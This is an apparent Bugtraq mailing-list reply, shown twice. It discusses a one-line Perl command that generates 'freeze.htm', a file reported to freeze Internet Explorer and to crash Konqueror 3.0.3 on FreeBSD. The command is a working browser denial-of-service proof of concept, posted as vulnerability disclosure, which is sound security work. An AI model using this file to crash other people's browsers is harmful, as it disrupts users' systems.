ERRor wrote:
>>>Hello, Bugtraq.
>>
>>>Malicious htm file can freeze IE with 100% CPU usage:
>>>Construct the file freeze.htm:
>>>c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>>
> This string works only with Active Perl, in unix-like Perl versions exploit
> string is:
> perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
> Active Perl understand \n = \x0D\x0A, freeze of IE exist only if sequence
> of bytes will be ...\x0D\x0D\x0A...
> Sorry, I have not noticed it at once.
I tested the freeze.htm generated with the revised Perl code in Konqeror 3.0.3
(shipped in KDE 3.0.3). When loading freeze.htm Konqeror core dumps with a bus
error almost instantly. Every time. This was tested in FreeBSD 4.7-STABLE.
--
Med va"nlig ha"lsning, Yours
Joachim Stro"mbergson - Alltid i harmonisk sva"ngning.
VP, Research & Development
----------------------------------------------------------------------
InformAsic AB / Hugo Grauers gata 5B / SE-411 33 GO"TEBORG / Sweden
Tel: +46 31 68 54 90 Fax: +46 31 68 54 91 Mobile: +46 733 75 97 02
E-mail: joachim.strombergson (at) informasic (dot) com [email concealed] Home: www.informasic.com
----------------------------------------------------------------------
ERRor wrote:
>>>Hello, Bugtraq.
>>
>>>Malicious htm file can freeze IE with 100% CPU usage:
>>>Construct the file freeze.htm:
>>>c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm
>>
> This string works only with Active Perl, in unix-like Perl versions exploit
> string is:
> perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm
> Active Perl understand \n = \x0D\x0A, freeze of IE exist only if sequence
> of bytes will be ...\x0D\x0D\x0A...
> Sorry, I have not noticed it at once.
I tested the freeze.htm generated with the revised Perl code in Konqeror 3.0.3
(shipped in KDE 3.0.3). When loading freeze.htm Konqeror core dumps with a bus
error almost instantly. Every time. This was tested in FreeBSD 4.7-STABLE.
--
Med va"nlig ha"lsning, Yours
Joachim Stro"mbergson - Alltid i harmonisk sva"ngning.
VP, Research & Development
----------------------------------------------------------------------
InformAsic AB / Hugo Grauers gata 5B / SE-411 33 GO"TEBORG / Sweden
Tel: +46 31 68 54 90 Fax: +46 31 68 54 91 Mobile: +46 733 75 97 02
E-mail: joachim.strombergson (at) informasic (dot) com [email concealed] Home: www.informasic.com
----------------------------------------------------------------------
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